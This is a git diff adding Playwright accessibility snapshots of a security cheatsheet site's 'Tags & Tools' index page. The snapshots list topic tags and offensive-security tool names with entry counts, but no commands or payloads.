+            - /url: /daemon-sec-cheatsheet/tags/workflow
+            - text: workflow
+            - generic [ref=f13e688]: "3"
+          - link "brute-force 2" [ref=f13e689] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/brute-force
+            - text: brute-force
+            - generic [ref=f13e690]: "2"
+          - link "cli 2" [ref=f13e691] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cli
+            - text: cli
+            - generic [ref=f13e692]: "2"
+          - link "forensics 2" [ref=f13e693] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/forensics
+            - text: forensics
+            - generic [ref=f13e694]: "2"
+          - link "git-workflow 2" [ref=f13e695] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git-workflow
+            - text: git-workflow
+            - generic [ref=f13e696]: "2"
+          - link "hashes 2" [ref=f13e697] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashes
+            - text: hashes
+            - generic [ref=f13e698]: "2"
+          - link "ldap 2" [ref=f13e699] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ldap
+            - text: ldap
+            - generic [ref=f13e700]: "2"
+          - link "osint 2" [ref=f13e701] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/osint
+            - text: osint
+            - generic [ref=f13e702]: "2"
+          - link "port-forwarding 2" [ref=f13e703] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-forwarding
+            - text: port-forwarding
+            - generic [ref=f13e704]: "2"
+          - link "port-scanning 2" [ref=f13e705] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-scanning
+            - text: port-scanning
+            - generic [ref=f13e706]: "2"
+          - link "productivity 2" [ref=f13e707] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/productivity
+            - text: productivity
+            - generic [ref=f13e708]: "2"
+          - link "recon 2" [ref=f13e709] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recon
+            - text: recon
+            - generic [ref=f13e710]: "2"
+          - link "scanning 2" [ref=f13e711] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/scanning
+            - text: scanning
+            - generic [ref=f13e712]: "2"
+          - link "shares 2" [ref=f13e713] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shares
+            - text: shares
+            - generic [ref=f13e714]: "2"
+          - link "spraying 2" [ref=f13e715] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/spraying
+            - text: spraying
+            - generic [ref=f13e716]: "2"
+          - link "terminal 2" [ref=f13e717] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/terminal
+            - text: terminal
+            - generic [ref=f13e718]: "2"
+          - link "tooling 2" [ref=f13e719] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tooling
+            - text: tooling
+            - generic [ref=f13e720]: "2"
+          - link "acl-abuse 1" [ref=f13e721] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/acl-abuse
+            - text: acl-abuse
+            - generic [ref=f13e722]: "1"
+          - link "binary 1" [ref=f13e723] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/binary
+            - text: binary
+            - generic [ref=f13e724]: "1"
+          - link "branching 1" [ref=f13e725] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/branching
+            - text: branching
+            - generic [ref=f13e726]: "1"
+          - link "buffer-overflow 1" [ref=f13e727] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/buffer-overflow
+            - text: buffer-overflow
+            - generic [ref=f13e728]: "1"
+          - link "c2 1" [ref=f13e729] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/c2
+            - text: c2
+            - generic [ref=f13e730]: "1"
+          - link "coercion 1" [ref=f13e731] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/coercion
+            - text: coercion
+            - generic [ref=f13e732]: "1"
+          - link "commands 1" [ref=f13e733] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/commands
+            - text: commands
+            - generic [ref=f13e734]: "1"
+          - link "defense 1" [ref=f13e735] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/defense
+            - text: defense
+            - generic [ref=f13e736]: "1"
+          - link "dotnet 1" [ref=f13e737] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dotnet
+            - text: dotnet
+            - generic [ref=f13e738]: "1"
+          - link "encryption 1" [ref=f13e739] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/encryption
+            - text: encryption
+            - generic [ref=f13e740]: "1"
+          - link "esc 1" [ref=f13e741] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/esc
+            - text: esc
+            - generic [ref=f13e742]: "1"
+          - link "file-inclusion 1" [ref=f13e743] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-inclusion
+            - text: file-inclusion
+            - generic [ref=f13e744]: "1"
+          - link "file-transfer 1" [ref=f13e745] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-transfer
+            - text: file-transfer
+            - generic [ref=f13e746]: "1"
+          - link "framework 1" [ref=f13e747] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/framework
+            - text: framework
+            - generic [ref=f13e748]: "1"
+          - link "fuzzing 1" [ref=f13e749] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/fuzzing
+            - text: fuzzing
+            - generic [ref=f13e750]: "1"
+          - link "graph 1" [ref=f13e751] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/graph
+            - text: graph
+            - generic [ref=f13e752]: "1"
+          - link "http 1" [ref=f13e753] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/http
+            - text: http
+            - generic [ref=f13e754]: "1"
+          - link "identification 1" [ref=f13e755] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/identification
+            - text: identification
+            - generic [ref=f13e756]: "1"
+          - link "incident-response 1" [ref=f13e757] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/incident-response
+            - text: incident-response
+            - generic [ref=f13e758]: "1"
+          - link "internal 1" [ref=f13e759] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/internal
+            - text: internal
+            - generic [ref=f13e760]: "1"
+          - link "lfi 1" [ref=f13e761] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lfi
+            - text: lfi
+            - generic [ref=f13e762]: "1"
+          - link "macos 1" [ref=f13e763] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/macos
+            - text: macos
+            - generic [ref=f13e764]: "1"
+          - link "malware 1" [ref=f13e765] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/malware
+            - text: malware
+            - generic [ref=f13e766]: "1"
+          - link "memory-forensics 1" [ref=f13e767] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/memory-forensics
+            - text: memory-forensics
+            - generic [ref=f13e768]: "1"
+          - link "methodology 1" [ref=f13e769] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/methodology
+            - text: methodology
+            - generic [ref=f13e770]: "1"
+          - link "network-forensics 1" [ref=f13e771] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network-forensics
+            - text: network-forensics
+            - generic [ref=f13e772]: "1"
+          - link "offensive 1" [ref=f13e773] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/offensive
+            - text: offensive
+            - generic [ref=f13e774]: "1"
+          - link "pcap 1" [ref=f13e775] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pcap
+            - text: pcap
+            - generic [ref=f13e776]: "1"
+          - link "permissions 1" [ref=f13e777] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/permissions
+            - text: permissions
+            - generic [ref=f13e778]: "1"
+          - link "pgp 1" [ref=f13e779] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pgp
+            - text: pgp
+            - generic [ref=f13e780]: "1"
+          - link "phishing 1" [ref=f13e781] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/phishing
+            - text: phishing
+            - generic [ref=f13e782]: "1"
+          - link "recovery 1" [ref=f13e783] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recovery
+            - text: recovery
+            - generic [ref=f13e784]: "1"
+          - link "red-team 1" [ref=f13e785] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/red-team
+            - text: red-team
+            - generic [ref=f13e786]: "1"
+          - link "registry 1" [ref=f13e787] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/registry
+            - text: registry
+            - generic [ref=f13e788]: "1"
+          - link "rfi 1" [ref=f13e789] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/rfi
+            - text: rfi
+            - generic [ref=f13e790]: "1"
+          - link "screenshots 1" [ref=f13e791] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/screenshots
+            - text: screenshots
+            - generic [ref=f13e792]: "1"
+          - link "search 1" [ref=f13e793] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/search
+            - text: search
+            - generic [ref=f13e794]: "1"
+          - link "shells 1" [ref=f13e795] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shells
+            - text: shells
+            - generic [ref=f13e796]: "1"
+          - link "ssh 1" [ref=f13e797] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ssh
+            - text: ssh
+            - generic [ref=f13e798]: "1"
+          - link "tickets 1" [ref=f13e799] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tickets
+            - text: tickets
+            - generic [ref=f13e800]: "1"
+          - link "tls 1" [ref=f13e801] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tls
+            - text: tls
+            - generic [ref=f13e802]: "1"
+          - link "undo 1" [ref=f13e803] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/undo
+            - text: undo
+            - generic [ref=f13e804]: "1"
+          - link "version-control 1" [ref=f13e805] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/version-control
+            - text: version-control
+            - generic [ref=f13e806]: "1"
+          - link "vulnerabilities 1" [ref=f13e807] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/vulnerabilities
+            - text: vulnerabilities
+            - generic [ref=f13e808]: "1"
+          - link "wordpress 1" [ref=f13e809] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/wordpress
+            - text: wordpress
+            - generic [ref=f13e810]: "1"
+      - generic [ref=f13e811]:
+        - generic [ref=f13e813]:
+          - paragraph [ref=f13e814]:
+            - generic [ref=f13e815]: "02"
+            - generic [ref=f13e816]: "^:"
+            - generic [ref=f13e817]: 95 tools
+          - heading "By tool" [level=2] [ref=f13e818]
+        - generic [ref=f13e819]:
+          - generic [ref=f13e820]:
+            - text: Impacket
+            - generic [ref=f13e821]: "75"
+          - generic [ref=f13e822]:
+            - text: PowerShell
+            - generic [ref=f13e823]: "71"
+          - generic [ref=f13e824]:
+            - text: Certipy
+            - generic [ref=f13e825]: "52"
+          - generic [ref=f13e826]:
+            - text: NetExec
+            - generic [ref=f13e827]: "48"
+          - generic [ref=f13e828]:
+            - text: Mimikatz
+            - generic [ref=f13e829]: "47"
+          - generic [ref=f13e830]:
+            - text: Rubeus
+            - generic [ref=f13e831]: "43"
+          - generic [ref=f13e832]:
+            - text: BloodHound
+            - generic [ref=f13e833]: "33"
+          - generic [ref=f13e834]:
+            - text: Evil-WinRM
+            - generic [ref=f13e835]: "20"
+          - generic [ref=f13e836]:
+            - text: OpenSSL
+            - generic [ref=f13e837]: "17"
+          - generic [ref=f13e838]:
+            - text: Nmap
+            - generic [ref=f13e839]: "16"
+          - generic [ref=f13e840]:
+            - text: Metasploit
+            - generic [ref=f13e841]: "13"
+          - generic [ref=f13e842]:
+            - text: Certify
+            - generic [ref=f13e843]: "11"
+          - generic [ref=f13e844]:
+            - text: Hashcat
+            - generic [ref=f13e845]: "11"
+          - generic [ref=f13e846]:
+            - text: ldapsearch
+            - generic [ref=f13e847]: "10"
+          - generic [ref=f13e848]:
+            - text: Meterpreter
+            - generic [ref=f13e849]: "7"
+          - generic [ref=f13e850]:
+            - text: faketime
+            - generic [ref=f13e851]: "5"
+          - generic [ref=f13e852]:
+            - text: John
+            - generic [ref=f13e853]: "5"
+          - generic [ref=f13e854]:
+            - text: Responder
+            - generic [ref=f13e855]: "4"
+          - generic [ref=f13e856]:
+            - text: socat
+            - generic [ref=f13e857]: "4"
+          - generic [ref=f13e858]:
+            - text: Chisel
+            - generic [ref=f13e859]: "3"
+          - generic [ref=f13e860]:
+            - text: ffuf
+            - generic [ref=f13e861]: "3"
+          - generic [ref=f13e862]:
+            - text: git
+            - generic [ref=f13e863]: "3"
+          - generic [ref=f13e864]:
+            - text: Gitleaks
+            - generic [ref=f13e865]: "3"
+          - generic [ref=f13e866]:
+            - text: Kerbrute
+            - generic [ref=f13e867]: "3"
+          - generic [ref=f13e868]:
+            - text: Ligolo-ng
+            - generic [ref=f13e869]: "3"
+          - generic [ref=f13e870]:
+            - text: CrackMapExec
+            - generic [ref=f13e871]: "2"
+          - generic [ref=f13e872]:
+            - text: curl
+            - generic [ref=f13e873]: "2"
+          - generic [ref=f13e874]:
+            - text: Gobuster
+            - generic [ref=f13e875]: "2"
+          - generic [ref=f13e876]:
+            - text: GPG
+            - generic [ref=f13e877]: "2"
+          - generic [ref=f13e878]:
+            - text: Nuclei
+            - generic [ref=f13e879]: "2"
+          - generic [ref=f13e880]:
+            - text: SharpHound
+            - generic [ref=f13e881]: "2"
+          - generic [ref=f13e882]:
+            - text: Snaffler
+            - generic [ref=f13e883]: "2"
+          - generic [ref=f13e884]:
+            - text: SQLMap
+            - generic [ref=f13e885]: "2"
+          - generic [ref=f13e886]:
+            - text: SSH
+            - generic [ref=f13e887]: "2"
+          - generic [ref=f13e888]:
+            - text: TruffleHog
+            - generic [ref=f13e889]: "2"
+          - generic [ref=f13e890]:
+            - text: Autopsy
+            - generic [ref=f13e891]: "1"
+          - generic [ref=f13e892]:
+            - text: bloodhound-python
+            - generic [ref=f13e893]: "1"
+          - generic [ref=f13e894]:
+            - text: BloodyAD
+            - generic [ref=f13e895]: "1"
+          - generic [ref=f13e896]:
+            - text: Burp Suite
+            - generic [ref=f13e897]: "1"
+          - generic [ref=f13e898]:
+            - text: certutil
+            - generic [ref=f13e899]: "1"
+          - generic [ref=f13e900]:
+            - text: chmod
+            - generic [ref=f13e901]: "1"
+          - generic [ref=f13e902]:
+            - text: chown
+            - generic [ref=f13e903]: "1"
+          - generic [ref=f13e904]:
+            - text: cmd
+            - generic [ref=f13e905]: "1"
+          - generic [ref=f13e906]:
+            - text: Cobalt Strike
+            - generic [ref=f13e907]: "1"
+          - generic [ref=f13e908]:
+            - text: Coercer
+            - generic [ref=f13e909]: "1"
+          - generic [ref=f13e910]:
+            - text: defaults
+            - generic [ref=f13e911]: "1"
+          - generic [ref=f13e912]:
+            - text: EyeWitness
+            - generic [ref=f13e913]: "1"
+          - generic [ref=f13e914]:
+            - text: find
+            - generic [ref=f13e915]: "1"
+          - generic [ref=f13e916]:
+            - text: fscan
+            - generic [ref=f13e917]: "1"
+          - generic [ref=f13e918]:
+            - text: GnuPG
+            - generic [ref=f13e919]: "1"
+          - generic [ref=f13e920]:
+            - text: GTFOBins
+            - generic [ref=f13e921]: "1"
+          - generic [ref=f13e922]:
+            - text: hash-identifier
+            - generic [ref=f13e923]: "1"
+          - generic [ref=f13e924]:
+            - text: hashid
+            - generic [ref=f13e925]: "1"
+          - generic [ref=f13e926]:
+            - text: Hydra
+            - generic [ref=f13e927]: "1"
+          - generic [ref=f13e928]:
+            - text: Immunity Debugger
+            - generic [ref=f13e929]: "1"
+          - generic [ref=f13e930]:
+            - text: John the Ripper
+            - generic [ref=f13e931]: "1"
+          - generic [ref=f13e932]:
+            - text: JuicyPotato
+            - generic [ref=f13e933]: "1"
+          - generic [ref=f13e934]:
+            - text: linPEAS
+            - generic [ref=f13e935]: "1"
+          - generic [ref=f13e936]:
+            - text: Medusa
+            - generic [ref=f13e937]: "1"
+          - generic [ref=f13e938]:
+            - text: mona.py
+            - generic [ref=f13e939]: "1"
+          - generic [ref=f13e940]:
+            - text: msfconsole
+            - generic [ref=f13e941]: "1"
+          - generic [ref=f13e942]:
+            - text: msfvenom
+            - generic [ref=f13e943]: "1"
+          - generic [ref=f13e944]:
+            - text: MySQL client
+            - generic [ref=f13e945]: "1"
+          - generic [ref=f13e946]:
+            - text: nc
+            - generic [ref=f13e947]: "1"
+          - generic [ref=f13e948]:
+            - text: Nikto
+            - generic [ref=f13e949]: "1"
+          - generic [ref=f13e950]:
+            - text: ntlmrelayx
+            - generic [ref=f13e951]: "1"
+          - generic [ref=f13e952]:
+            - text: nxc
+            - generic [ref=f13e953]: "1"
+          - generic [ref=f13e954]:
+            - text: openssl
+            - generic [ref=f13e955]: "1"
+          - generic [ref=f13e956]:
+            - text: plaso
+            - generic [ref=f13e957]: "1"
+          - generic [ref=f13e958]:
+            - text: plink
+            - generic [ref=f13e959]: "1"
+          - generic [ref=f13e960]:
+            - text: PowerUp
+            - generic [ref=f13e961]: "1"
+          - generic [ref=f13e962]:
+            - text: pspy
+            - generic [ref=f13e963]: "1"
+          - generic [ref=f13e964]:
+            - text: python
+            - generic [ref=f13e965]: "1"
+          - generic [ref=f13e966]:
+            - text: RECmd
+            - generic [ref=f13e967]: "1"
+          - generic [ref=f13e968]:
+            - text: Registry Explorer
+            - generic [ref=f13e969]: "1"
+          - generic [ref=f13e970]:
+            - text: RustScan
+            - generic [ref=f13e971]: "1"
+          - generic [ref=f13e972]:
+            - text: SharpSploit
+            - generic [ref=f13e973]: "1"
+          - generic [ref=f13e974]:
+            - text: Shodan
+            - generic [ref=f13e975]: "1"
+          - generic [ref=f13e976]:
+            - text: Sleuth Kit
+            - generic [ref=f13e977]: "1"
+          - generic [ref=f13e978]:
+            - text: smbmap
+            - generic [ref=f13e979]: "1"
+          - generic [ref=f13e980]:
+            - text: SMBMap
+            - generic [ref=f13e981]: "1"
+          - generic [ref=f13e982]:
+            - text: smbserver
+            - generic [ref=f13e983]: "1"
+          - generic [ref=f13e984]:
+            - text: stty
+            - generic [ref=f13e985]: "1"
+          - generic [ref=f13e986]:
+            - text: tmux
+            - generic [ref=f13e987]: "1"
+          - generic [ref=f13e988]:
+            - text: tshark
+            - generic [ref=f13e989]: "1"
+          - generic [ref=f13e990]:
+            - text: TShark
+            - generic [ref=f13e991]: "1"
+          - generic [ref=f13e992]:
+            - text: umask
+            - generic [ref=f13e993]: "1"
+          - generic [ref=f13e994]:
+            - text: urlscan
+            - generic [ref=f13e995]: "1"
+          - generic [ref=f13e996]:
+            - text: VirusTotal
+            - generic [ref=f13e997]: "1"
+          - generic [ref=f13e998]:
+            - text: Volatility 3
+            - generic [ref=f13e999]: "1"
+          - generic [ref=f13e1000]:
+            - text: wget
+            - generic [ref=f13e1001]: "1"
+          - generic [ref=f13e1002]:
+            - text: winPEAS
+            - generic [ref=f13e1003]: "1"
+          - generic [ref=f13e1004]:
+            - text: Wireshark
+            - generic [ref=f13e1005]: "1"
+          - generic [ref=f13e1006]:
+            - text: WPScan
+            - generic [ref=f13e1007]: "1"
+          - generic [ref=f13e1008]:
+            - text: zsh
+            - generic [ref=f13e1009]: "1"
+  - contentinfo [ref=f13e1010]:
+    - generic [ref=f13e1011]:
+      - generic [ref=f13e1012]:
+        - link "DÆMON // SEC" [ref=f13e1013] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f13e1014]: //
+          - text: SEC
+        - paragraph [ref=f13e1015]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f13e1016]:
+        - link "daemon-404.github.io β†—" [ref=f13e1017] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f13e1018] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f13e1019]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f13e1020] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f13e1021] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f13e1022]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f13e1023]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-28-27-711Z.yml b/.playwright-mcp/page-2026-08-10T08-28-27-711Z.yml
@@ -0,0 +1,772 @@
+- generic [ref=f13e550]:
+  - banner [ref=f13e551]:
+    - generic [ref=f13e552]:
+      - link "DÆMON//SEC home" [ref=f13e553] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f13e554]: //
+        - text: SEC
+        - generic [ref=f13e555]: _
+      - navigation "Primary" [ref=f13e556]:
+        - link "01 Vault" [ref=f13e557] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f13e558]: "01"
+          - generic [ref=f13e559]: Vault
+        - link "02 Payloads" [ref=f13e560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f13e561]: "02"
+          - generic [ref=f13e562]: Payloads
+        - link "03 Tags" [ref=f13e563] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f13e564]: "03"
+          - generic [ref=f13e565]: Tags
+        - link "04 Credits" [ref=f13e566] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f13e567]: "04"
+          - generic [ref=f13e568]: Credits
+      - generic [ref=f13e569]:
+        - button "Search cheatsheets" [ref=f13e570] [cursor=pointer]:
+          - generic [ref=f13e573]: Search
+          - generic [ref=f13e574]: /
+        - button "Toggle theme" [ref=f13e575] [cursor=pointer]
+        - link "DÆMON main site" [ref=f13e580] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f13e583] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f13e586]:
+    - generic [ref=f13e589]:
+      - generic [ref=f13e590]:
+        - paragraph [ref=f13e591]:
+          - generic [ref=f13e592]: "04"
+          - generic [ref=f13e593]: "^:"
+          - generic [ref=f13e594]: Cross-reference
+        - heading "Tags & Tools" [level=1] [ref=f13e596]
+        - paragraph [ref=f13e597]: Jump into the vault by topic or by the tool you're reaching for.
+      - generic [ref=f13e598]:
+        - generic [ref=f13e599]:
+          - term [ref=f13e600]: Tags
+          - definition [ref=f13e601]: "96"
+        - generic [ref=f13e602]:
+          - term [ref=f13e603]: Tools
+          - definition [ref=f13e604]: "95"
+    - generic [ref=f13e605]:
+      - navigation [ref=f13e606]:
+        - link "~" [ref=f13e607] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f13e608]: /
+        - generic [ref=f13e609]: index
+      - generic [ref=f13e610]:
+        - generic [ref=f13e612]:
+          - paragraph [ref=f13e613]:
+            - generic [ref=f13e614]: "01"
+            - generic [ref=f13e615]: "^:"
+            - generic [ref=f13e616]: 96 tags
+          - heading "By tag" [level=2] [ref=f13e617]
+        - generic [ref=f13e618]:
+          - link "active-directory 130" [ref=f13e619] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/active-directory
+            - text: active-directory
+            - generic [ref=f13e620]: "130"
+          - link "adcs 74" [ref=f13e621] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/adcs
+            - text: adcs
+            - generic [ref=f13e622]: "74"
+          - link "privilege-escalation 46" [ref=f13e623] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/privilege-escalation
+            - text: privilege-escalation
+            - generic [ref=f13e624]: "46"
+          - link "kerberos 45" [ref=f13e625] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/kerberos
+            - text: kerberos
+            - generic [ref=f13e626]: "45"
+          - link "hashing 32" [ref=f13e627] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashing
+            - text: hashing
+            - generic [ref=f13e628]: "32"
+          - link "credential-access 30" [ref=f13e629] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credential-access
+            - text: credential-access
+            - generic [ref=f13e630]: "30"
+          - link "enumeration 25" [ref=f13e631] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/enumeration
+            - text: enumeration
+            - generic [ref=f13e632]: "25"
+          - link "ntlm 20" [ref=f13e633] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ntlm
+            - text: ntlm
+            - generic [ref=f13e634]: "20"
+          - link "lateral-movement 15" [ref=f13e635] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lateral-movement
+            - text: lateral-movement
+            - generic [ref=f13e636]: "15"
+          - link "persistence 14" [ref=f13e637] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/persistence
+            - text: persistence
+            - generic [ref=f13e638]: "14"
+          - link "web 14" [ref=f13e639] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/web
+            - text: web
+            - generic [ref=f13e640]: "14"
+          - link "relay 12" [ref=f13e641] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/relay
+            - text: relay
+            - generic [ref=f13e642]: "12"
+          - link "delegation 11" [ref=f13e643] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/delegation
+            - text: delegation
+            - generic [ref=f13e644]: "11"
+          - link "sql-injection 11" [ref=f13e645] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/sql-injection
+            - text: sql-injection
+            - generic [ref=f13e646]: "11"
+          - link "tools 10" [ref=f13e647] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tools
+            - text: tools
+            - generic [ref=f13e648]: "10"
+          - link "post-exploitation 8" [ref=f13e649] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/post-exploitation
+            - text: post-exploitation
+            - generic [ref=f13e650]: "8"
+          - link "exploitation 7" [ref=f13e651] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/exploitation
+            - text: exploitation
+            - generic [ref=f13e652]: "7"
+          - link "pivoting 7" [ref=f13e653] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pivoting
+            - text: pivoting
+            - generic [ref=f13e654]: "7"
+          - link "linux 5" [ref=f13e655] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux
+            - text: linux
+            - generic [ref=f13e656]: "5"
+          - link "linux-it 5" [ref=f13e657] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux-it
+            - text: linux-it
+            - generic [ref=f13e658]: "5"
+          - link "tunneling 5" [ref=f13e659] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling
+            - text: tunneling
+            - generic [ref=f13e660]: "5"
+          - link "windows 5" [ref=f13e661] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/windows
+            - text: windows
+            - generic [ref=f13e662]: "5"
+          - link "credentials 4" [ref=f13e663] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credentials
+            - text: credentials
+            - generic [ref=f13e664]: "4"
+          - link "dfir 4" [ref=f13e665] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dfir
+            - text: dfir
+            - generic [ref=f13e666]: "4"
+          - link "xss 4" [ref=f13e667] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/xss
+            - text: xss
+            - generic [ref=f13e668]: "4"
+          - link "certificates 3" [ref=f13e669] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/certificates
+            - text: certificates
+            - generic [ref=f13e670]: "3"
+          - link "cracking 3" [ref=f13e671] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cracking
+            - text: cracking
+            - generic [ref=f13e672]: "3"
+          - link "cryptography 3" [ref=f13e673] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cryptography
+            - text: cryptography
+            - generic [ref=f13e674]: "3"
+          - link "git 3" [ref=f13e675] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git
+            - text: git
+            - generic [ref=f13e676]: "3"
+          - link "injection 3" [ref=f13e677] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/injection
+            - text: injection
+            - generic [ref=f13e678]: "3"
+          - link "network 3" [ref=f13e679] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network
+            - text: network
+            - generic [ref=f13e680]: "3"
+          - link "password-attacks 3" [ref=f13e681] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/password-attacks
+            - text: password-attacks
+            - generic [ref=f13e682]: "3"
+          - link "smb 3" [ref=f13e683] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/smb
+            - text: smb
+            - generic [ref=f13e684]: "3"
+          - link "tunneling-pivoting 3" [ref=f13e685] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling-pivoting
+            - text: tunneling-pivoting
+            - generic [ref=f13e686]: "3"
+          - link "workflow 3" [ref=f13e687] [cursor=pointer]:
